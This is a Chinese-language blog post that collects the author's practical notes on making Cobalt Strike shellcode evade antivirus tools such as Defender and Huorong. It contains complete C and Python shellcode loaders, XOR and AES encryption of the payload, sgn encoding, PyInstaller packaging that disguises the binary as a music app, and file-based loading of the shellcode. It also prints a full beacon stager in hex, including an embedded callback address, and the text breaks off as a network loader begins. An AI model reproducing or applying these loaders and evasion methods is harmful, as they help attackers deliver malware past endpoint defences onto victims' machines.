CobaltStrike免杀实践汇总
2025-06-04 14:00:30

写在前面

这两个月内网渗透接触的较多,大多公开的内网渗透靶场(如云镜)环境中都没有设置免杀,CS很轻易就可以连上,但是实战中Windows defender,火绒,360绕不过去,遂于5.18-5.30这12天仔细研究了一下CS免杀,做了一些笔记和总结,希望能形成自己的体系,弥补在免杀知识这一方面的空白。当然,我目前和下文所掌握和提及的免杀技术只不过是皮毛,更深入的免杀还需要深入学习windows底层和逆向工程方面的知识,共勉。

Shellcode与加载器

Shellcode基础

什么是shellcode

shellcode是一种特殊的二进制代码,这类二进制代码成功利用后会获取目标系统shell的权限

1
通常将二进制代码 => 16进制代码 \xfc\x48\x83
shellcode文件

shellcode通常以二进制个数存储,它由CPU直接执行

一个成功运行的大体流程:

1
exe文件 -> 硬盘 -> 把exe内容读取到内存中 -> 将要执行的代码转换成二进制指令 -> cpu运行 -> 程序运行产生的数据都在内存中
shellcode如何运行

借助shellcode加载器在目标机器中运行

CS的shellcode生成

image-20250518093423254

选择想要生成的语言即可

image-20250518093448743

Shellcode加载器

什么是shellcode加载器

帮助shellcode文件/16进制字符串shellcode运行的工具

如何编写shellcode加载器

使用windows api

(1) 申请内存

(2) 把shellcode复制到这块内存中

(3) 想办法让这块内存中的shellcode被cpu执行

VirtualAlloc函数

申请内存

VirtualAlloc 是 Windows API中用于分配/申请、保留/提交内存区域的函数

1
2
3
4
5
6
VirtualAlloc(
_In_opt_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flAllocationType,
_In_ DWORD flProtect
)

参数含义:

(1) IpAddress: 指定分配/保留的内存区域的首选基地址,若参数为NULL,则系统会自动选择适当的地址,所以一般都写NULL即可,也可以写0

(2) dwSize: 指定分配区域的内存的大小,以字节为单位

(3) flAllocationType: 指定内存的分配类型

通常使用 MEM_COMMIT|MEM_RESERVE 的方式进行使用

(4) flProtect: 指定内存的保护属性

直接给满权限 -> 可读可写可执行 -> PAGE_EXECUTE_READWRITE

memcpy函数

复制shellcode到申请的内存区域中

用于将内存块中的内容从一个位置复制到另一个位置

1
2
3
4
5
void* __cdecl memcpy(
_Out_writes_bytes_all_(_Size) void* _Dst,
_In_reads_bytes_(_Size) void const* _Src,
_In_ size_t _Size
);

(1) void* _Dst: 指向目标内存区域的指针,即复制操作的目标位置

(2) void const* _Src: 指向源内存区域的指针,就是复制的目标

(3) size_t _Size: 要复制的字节数,直接 sizeof(buf) 即可

CreateThread

用于创建线程的函数

1
2
3
4
5
6
7
8
CreateThread(
_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
_In_ SIZE_T dwStackSize,
_In_ LPTHREAD_START_ROUTINE lpStartAddress,
_In_opt_ __drv_aliasesMem LPVOID lpParameter,
_In_ DWORD dwCreationFlags,
_Out_opt_ LPDWORD lpThreadId
);

需要关注的参数

IpStartAddress: 写我们申请的内存地址,注意:需要进行类型转换

剩下的一律写NULL

C语言加载器

完整代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
//1、申请内存
//2、拷贝 shellcode 到内存
//3、执行内存中的shellcode

#include <windows.h> //导入windows api和一些常量
#pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //不显示黑窗口

//main函数,程序入口函数
void main() {
/* length: 892 bytes */
unsigned char buf[] = "\xfc\x48\x83...";


//1、申请内存
LPVOID addr = VirtualAlloc(NULL,sizeof(buf),MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);

//2、拷贝 shellcode 到内存
memcpy(addr, buf, sizeof(buf));

//3、执行内存中的shellcode
//创建线程执行
HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)addr, NULL, NULL, NULL);
//等待线程运行
WaitForSingleObject(hThread, -1);
//关闭线程
CloseHandle(hThread);
}

运行生成exe执行后,便可CS上线了。

Visual Studio配置

image-20250518153653433

image-20250518153936668

image-20250518154008011

image-20250518154851397

image-20250518155102697

image-20250518155139368

image-20250518155200902

image-20250518155401655

image-20250518155445162

Python语言加载器

不同的编程语言的免杀效果是不一样的

完整代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import ctypes
# ctypes.windll.kernel32中存放windows api
# 获得windows api中的Virtualloc函数
VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc
RtlMoveMemory = ctypes.windll.kernel32.RtlMoveMemory
CreateThread = ctypes.windll.kernel32.CreateThread
WaitForSingleObject = ctypes.windll.kernel32.WaitForSingleObject

# 1.申请内存
# b""转换成字节类型
buf = b"\xfc\x48\x83..."
# 还需要转换成字节数组类型
shellcode = bytearray(buf)
# 重载函数返回类型为c_uint64
VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
addr = VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), 0x1000|0x2000, 0x40)

# 2.将shellcode复制到刚刚申请的内存中
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
RtlMoveMemory(ctypes.c_void_p(addr), buf, ctypes.c_int(len(shellcode)))

# 3.创建线程
thread = CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_void_p(addr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
WaitForSingleObject(ctypes.c_int(thread), ctypes.c_int(-1))
python打包exe

安装环境

1
2
pip3 install pyinstaller
pip3 install pyinstaller==5.8.0

打包命令

1
pyinstaller -F -w demo1.py

-F: 打包成一个exe文件

-w: 不显示黑窗口,也可以用–noconsole参数

-i: 指定图标,.ico文件/.exe文件

-n: 指定打包好的文件名

–clean 清除上一次打包的文件

–key cjiurfe11a 混淆代码功能 (需要安装 pip3 install tinyaes)

1
pyinstaller -F -w demo1.py -i "D:\Chanzi-SAST\ChanziSAST.exe" -n qqmusic --clean --key xxxx

Shellcode免杀

免杀

免杀的方法有哪些
1
2
3
4
5
6
7
8
1、加壳
2、shellcode混淆,加密
3、各种语言的加载器:C++、pythongo、rust等等
4、分类免杀(远程加载),shellcode和加载器不写在一个文件中,远程加载等等
5、白加黑(百名但程序执行恶意样本)
6、使用github上的一些免杀工具
7、自己写加载器,通过一些冷门的加载方式运行shellcode
8、自己写/二开远控等等

杀软

常用网站
1
2
3
4
5
6
7
1、测试样本查杀网站,调用很多杀软的引擎进行查杀
若免杀样本需要在实战中使用,不要向vt上上传,因为可能会标记
http://virustotal.com
http://virscan.org

2、云沙箱
http://s.threatbook.com 微步云沙箱
静态查杀

通常使用病毒特征库,从**”特定代码片段”、”独特的字符串”、”文件结构”**等几个方面,若文件中的这些特征和病毒特征库匹配,则认为其是木马病毒。

代码中的函数

如windows api函数,和内存、堆、线程相关的函数

1
virtualalloc, rtlmovememory, createthread等等

注:同一个windows api函数,不同的编程语言,可能杀C不杀python

shellcode特征

CS shellcode特征如 \fc\x48\x83

image-20250519101512393

文件名和md5

所有以tgp_daemon.exe为名的程序一律被判定为银狐木马

每个文件都有一个md5 hash

1
CertUtil -hashfile 文件路劲 md5

当样本被查杀时,hash值会被记录下来,下次再扫描时就会直接报毒

image-20250519102201102

当样本免杀了,hash值同样会被记录下来,下次就不会再扫描这个样本了,就实现了永久免杀

加密

使用加解密行为或者加壳行为可能会被杀软报毒

数字签名

白程序都是有数字签名的,某些杀软会看这个exe的数字签名是否合法

以百度网盘为例

image-20250519102912725

资源文件

杀软会查看exe的资源文件是否为空

image-20250519103155227

动态查杀

杀软有云沙箱,相当于开一个虚拟机运行你上传的恶意样本,通过分析程序指令出现的顺序/特定的组合情况以及所调用的函数及其参数是否属于恶意行为特征,来判断是否是病毒。

网络相关
1
2
3
4
5
6
7
查找会连的ip/域名是否之前被标记成cs远控

通信流量内容
内容特征:数据包中是否存在命令控制相关的关键词/加密特征
结构特征:是否存在已知远控的通讯结构特征,比如某些远控会追加\x00\x00\0x00\x00这样的空字节

有的CS一上线执行命令就被杀,很可能就是流量特征被查杀了。
内存相关
1
2
3
4
5
6
7
8
9
1、内存中存在的特征码 - 可以修改
ReflectiveLoader(CS中的), beacon.dll等

2、内存相关的属性
rwx(shellcode,申请了可读可写可执行的内存),一般为rw
绕过方法:先申请一块可读可写的权限的内存,等程序运行一段实践之后再将其改成可以执行的权限,就可以绕过对内存属性的检查

3、上线后,执行shell whoami后被杀
因为,shell whoami的原理是起一个cmd子进程运行,有的杀软会直接查杀不正常的进程链
360云传

将样本上传到云沙箱进行运行、分析检测

Shellcode处理

shellcode加解密

CS十六进制数值特征:FC4883E4F0E8C800000041

image-20250519111129953

杀软一下子就会扫到这种特征,所以需要加密

异或加密

异或是一种二进制位运算,相同为0,不同为1,不做详细解释了。

python加密代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# 定义异或加密函数,接收原始shellcode和密钥作为输入
def xor_encrypt(shellcode, key):
encrypted_shellcode = bytearray()
key_len = len(key)

# 遍历shellcode中的每个字节
for i in range(len(shellcode)):
# 将当前字节与密钥中相应字节进行异或操作,然后添加到加密后的shellcode中
# 这段代码中的i % key_len操作用于确保在对shellcode进行异或加密时,密钥循环使用
encrypted_shellcode.append(shellcode[i] ^ key[i % key_len])
return encrypted_shellcode

def main():
# CS生成的shellcode
buf = b"\xfc\x48\x83..."

shellcode = bytearray(buf)

# 定义密钥
key = bytearray(b'henry')

# 使用xor_encrypt函数加密shellcode
encrypted_shellcode = xor_encrypt(shellcode, key)

# 输出加密后的shellcode
print("Encrypted shellcode:")
encrypted_shellcode_string = ""
for byte in encrypted_shellcode:
encrypted_shellcode_string += ("\\x%02x"%byte)
print(encrypted_shellcode_string)

if __name__ == '__main__':
main()

然后在C语言中解密shellcode并生成exe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <windows.h>  //导入windows api和一些常量
#include <stdio.h>
#pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //不显示黑窗口

//main函数,程序入口函数
void main() {
//异或加密后的shellcode
unsigned char encryptShellcode[] = "\x94\x2d\xed...";

//解密密钥
char key[] = "henry";

//定义一个用于储存解密后shellcode的数组
unsigned char decryptShellcode[sizeof(encryptShellcode)];

//进行异或解密
for (int i = 0; i < sizeof(encryptShellcode); i++) {
decryptShellcode[i] = encryptShellcode[i] ^ key[i % (strlen(key))];
}

//1、申请内存
LPVOID addr = VirtualAlloc(NULL, sizeof(decryptShellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

//2、拷贝 shellcode 到内存
memcpy(addr, decryptShellcode, sizeof(decryptShellcode));

//3、执行内存中的shellcode
//创建线程执行
HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)addr, NULL, NULL, NULL);
//等待线程运行
WaitForSingleObject(hThread, -1);
//关闭线程
CloseHandle(hThread);

测试可以正常上线并执行命令

image-20250519132923223

上面尝试的是一次异或,还有可能出现一次异或不免杀,但是多次异或免杀的情况。

也可以将shellcode进行base64编解码进行加密。

AES加密

借用写好的C++实现的AES算法:https://blog.csdn.net/witto_sdy/article/details/83375999

自己编译了一个AES加密shellcode的exe程序,用法如下所示,shellcode字符串保存在shellcode.txt中

1
2
3
4
E:\免杀\shellcode_AES\x64\Release>shellcode_AESencrypt.exe shellcode.txt
字符串类型shellcode: fc4883e4f0e8c8000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d0668178180b0275728b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e94fffffff5d6a0049be77696e696e65740041564989e64c89f141ba4c772607ffd54831c94831d24d31c04d31c94150415041ba3a5679a7ffd5eb735a4889c141b81d0900004d31c9415141516a03415141ba57899fc6ffd5eb595b4889c14831d24989d84d31c9526800024084525241baeb552e3bffd54889c64883c3506a0a5f4889f14889da49c7c0ffffffff4d31c9525241ba2d06187bffd585c00f859d01000048ffcf0f848c010000ebd3e9e4010000e8a2ffffff2f77424f550049558ad440f8cbb82090aabb087fbc19664bc522324df21287bc4c0feb261af1e02375e09cdf0cb267c3f2ded228bc046d585658d2aa7f844bdc02aa97319d0b0f49dcafa112674e0d00557365722d4167656e743a204d6f7a696c6c612f342e302028636f6d70617469626c653b204d53494520382e303b2057696e646f7773204e5420352e313b2054726964656e742f342e303b205151446f776e6c6f6164203733333b202e4e455420434c5220322e302e3530373237290d0a00e891332d3bb9805d90d0202d53b562d2c920e2abe4478b6798b8ce5317acfecc8ca7fbaff1387110a225a5d21691d9cc114b70ba89c3d8839ee52bc862153a2d2d8fb60a38d51dad2206c5523c89a1beaf450d6b3e93ec484466535e94278ca38176fb76186b59e1ad1a974cd42f233709c173a62f4b20b08f4f36a2c4e43931b4ced5e6d4b89bbd6b2a453dd9528d5803ef65bd24185c7ea58bf1f88f1ae93418d3d20ab9b09a95f070778ad31154bb9bc10ca5a6f8c02ae2252941e30041bef0b5a256ffd54831c9ba0000400041b80010000041b94000000041ba58a453e5ffd5489353534889e74889f14889da41b8002000004989f941ba129689e2ffd54883c42085c074b6668b074801c385c075d758585848050000000050c3e89ffdffff3130312e34322e31332e313035006faa51c300
AES加密shellcode: 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
AES解密shellcode: fc4883e4f0e8c8000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d0668178180b0275728b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e94fffffff5d6a0049be77696e696e65740041564989e64c89f141ba4c772607ffd54831c94831d24d31c04d31c94150415041ba3a5679a7ffd5eb735a4889c141b81d0900004d31c9415141516a03415141ba57899fc6ffd5eb595b4889c14831d24989d84d31c9526800024084525241baeb552e3bffd54889c64883c3506a0a5f4889f14889da49c7c0ffffffff4d31c9525241ba2d06187bffd585c00f859d01000048ffcf0f848c010000ebd3e9e4010000e8a2ffffff2f77424f550049558ad440f8cbb82090aabb087fbc19664bc522324df21287bc4c0feb261af1e02375e09cdf0cb267c3f2ded228bc046d585658d2aa7f844bdc02aa97319d0b0f49dcafa112674e0d00557365722d4167656e743a204d6f7a696c6c612f342e302028636f6d70617469626c653b204d53494520382e303b2057696e646f7773204e5420352e313b2054726964656e742f342e303b205151446f776e6c6f6164203733333b202e4e455420434c5220322e302e3530373237290d0a00e891332d3bb9805d90d0202d53b562d2c920e2abe4478b6798b8ce5317acfecc8ca7fbaff1387110a225a5d21691d9cc114b70ba89c3d8839ee52bc862153a2d2d8fb60a38d51dad2206c5523c89a1beaf450d6b3e93ec484466535e94278ca38176fb76186b59e1ad1a974cd42f233709c173a62f4b20b08f4f36a2c4e43931b4ced5e6d4b89bbd6b2a453dd9528d5803ef65bd24185c7ea58bf1f88f1ae93418d3d20ab9b09a95f070778ad31154bb9bc10ca5a6f8c02ae2252941e30041bef0b5a256ffd54831c9ba0000400041b80010000041b94000000041ba58a453e5ffd5489353534889e74889f14889da41b8002000004989f941ba129689e2ffd54883c42085c074b6668b074801c385c075d758585848050000000050c3e89ffdffff3130312e34322e31332e313035006faa51c300

实现代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <windows.h>
#include <iostream>
#include <stdio.h>
#include "aes.h"
#include "Base64.h"
#include "doAes.h"
#pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //不显示黑窗口


void main() {
//encbuf为AES加密后的shellcode字符串
string encbuf = "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";
//解密aes加密后的encbuf
string decbuf = DecryptionAES(encbuf);
cout << "解密后的字符串为:" << decbuf << endl;

std::vector<unsigned char> tmp = HexStringToShellcode(decbuf);
// 分配固定大小数组(确保大小足够)
unsigned char buf[4096]; // 假设最大不会超过4096字节
memcpy(buf, tmp.data(), tmp.size());
size_t buf_len = tmp.size();

cout << "回复后的shellcode数组为" << buf << endl;


//1、申请内存
LPVOID addr = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

//2、拷贝 shellcode 到内存
memcpy(addr, buf, sizeof(buf));

//3、执行内存中的shellcode
//创建线程执行
HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)addr, NULL, NULL, NULL);
//等待线程运行
WaitForSingleObject(hThread, -1);
//关闭线程
CloseHandle(hThread);
}

生成后点击成功上线CS

image-20250520103611759

但是过火绒失败,悲。。

shellcode内存加解密

sgn工具,所有工具都检测不出来shellcode

https://github.com/EgeBalci/sgn/releases

命令使用

1
sgn.exe -a 64 -c 1 -o pd_x64_stag.bin -i payload_x64_stag.bin
1
2
3
4
-a:64位
-c:编码轮数
-o:编码后的文件
-i:编码前的文件

image-20250520110901160

完全去除了shellcode的特征,对shellcode做到了完全免杀

因为是内存加解密,所以不需要在代码中写解密函数了。

首先将pd.bin转换成十六进制,python代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def bin_to_hex_escape(file_path):
with open(file_path, 'rb') as f:
content = f.read()

hex_escape = ''.join([f'\\x{byte:02x}' for byte in content])
return hex_escape

# 示例用法
input_file = 'E:\免杀\免杀工具\sgn\pd.bin'
result = bin_to_hex_escape(input_file)

# 打印或保存结果
print(result)

# 如果想写入一个 .txt 文件:
with open('output.txt', 'w') as out:
out.write(result)

编译成exe自用

image-20250520113503880

使用C++ shellcode加载器加载,生成shellcode.exe执行

1
2
3
4
5
6
7
8
9
10
11
#include <windows.h>
#pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")

void main() {
unsigned char buf[] = "\xe8\xa8\x03...";
LPVOID addr = VirtualAlloc(NULL,sizeof(buf),MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
memcpy(addr, buf, sizeof(buf));
HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)addr, NULL, NULL, NULL);
WaitForSingleObject(hThread, -1);
CloseHandle(hThread);
}

成功上线CS

image-20250520113610025

但是火绒依然报毒。。。但是已经可以排除shellcode的问题了,有可能是代码结构、数字签名、资源文件等问题了。

shellcode分离
本地分离

将shellcode以文件读取的方式写入,C++加载器加载运行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
#include <iostream>
#pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")

int main() {
char fileName[] = "conx.bin";
FILE* file;

if (fopen_s(&file, fileName, "rb") != 0) {
perror("Failed to open the code file");
return 1;
}

fseek(file, 0, SEEK_END);
long size = ftell(file);
fseek(file, 0, SEEK_SET);

char* code = (char*)malloc(size);
if (!code) {
perror("Failed to allocate memory for code");
fclose(file);
return 1;
}

// 读取内容进 code 数组
size_t bytesRead = fread(code, 1, size, file);
if (bytesRead != size) {
perror("Failed to read full file content");
free(code);
fclose(file);
return 1;
}

fclose(file);

printf("读取成功!文件内容如下:\n\n");
for (long i = 0; i < size; i++) {
printf("%02X ", (unsigned char)code[i]);
if ((i + 1) % 16 == 0) printf("\n"); // 每16个字节换行
}
printf("\n");


LPVOID addr = VirtualAlloc(NULL, size, MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
memcpy(addr, code, size);
HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)addr, NULL, NULL, NULL);
WaitForSingleObject(hThread, -1);
CloseHandle(hThread);

free(code);
}

conx.bin 就是 payload.bin,心理作用改个名,怕杀软看到payload字样直接给杀了。

测试运行,CS成功上线

image-20250520144224246

火绒成功免杀

image-20250520144245149

免杀马要保存好,如果是记录哈希那种的杀软,过了一次之后就可以实现永久免杀了。

网络分离
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#include <windows.h>
#include <winhttp.h>
